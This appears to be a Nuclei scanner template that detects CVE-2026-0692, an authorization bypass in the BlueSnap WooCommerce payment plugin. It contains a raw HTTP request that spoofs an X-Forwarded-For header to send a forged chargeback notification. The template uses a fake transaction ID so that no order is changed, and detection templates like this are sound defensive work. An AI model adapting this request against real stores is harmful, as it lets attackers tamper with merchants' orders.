BlueSnap Payment Gateway for WooCommerce <=3.4.0 - IPN Authorization Bypass

id: CVE-2026-0692

info:
  name: BlueSnap Payment Gateway for WooCommerce <=3.4.0 - IPN Authorization Bypass
  author: str4k3r
  severity: high
  description: |
    BlueSnap Payment Gateway for WooCommerce <= 3.4.0 validates its unauthenticated IPN webhook using WooCommerce's client-IP geolocation, which trusts spoofed forwarding headers instead of requiring a webhook signature. Version 3.4.1 replaces the IP check with HMAC-SHA256 security headers. This detector supplies a generated, non-existent transaction ID, so the vulnerable code reaches the order lookup and returns `Order could not be found` without changing an order.
  impact: |
    Unauthenticated attackers can manipulate order statuses, causing financial and operational disruption.
  remediation: |
    Update to the latest version of BlueSnap Payment Gateway for WooCommerce plugin.
  reference:
    - https://plugins.svn.wordpress.org/bluesnap-payment-gateway-for-woocommerce/tags/3.4.0/includes/class-wc-bluesnap-ipn-webhooks.php
    - https://plugins.svn.wordpress.org/bluesnap-payment-gateway-for-woocommerce/tags/3.4.1/includes/class-wc-bluesnap-ipn-webhooks.php
    - https://nvd.nist.gov/vuln/detail/CVE-2026-0692
  classification:
    cve-id: CVE-2026-0692
    epss-score: 0.00299
    epss-percentile: 0.20499
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
    cvss-score: 7.5
  metadata:
    max-request: 1
    product: bluesnap-payment-gateway-for-woocommerce
    vendor: bluesnap
    verified: true
  tags: cve,cve2026,wp,wordpress,wp-plugin,woocommerce,bluesnap,auth-bypass

http:
  - raw:
      - |
        POST /?wc-api=bluesnap HTTP/1.1
        Host: {{Hostname}}
        User-Agent: BlueSnap
        X-Forwarded-For: 38.99.111.60
        Content-Type: application/x-www-form-urlencoded

        transactionType=CHARGEBACK&merchantTransactionId=nuclei-{{randstr}}&referenceNumber=CVE0692CODEX&reason=CVE0692

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Order could not be found"

      - type: status
        status:
          - 400
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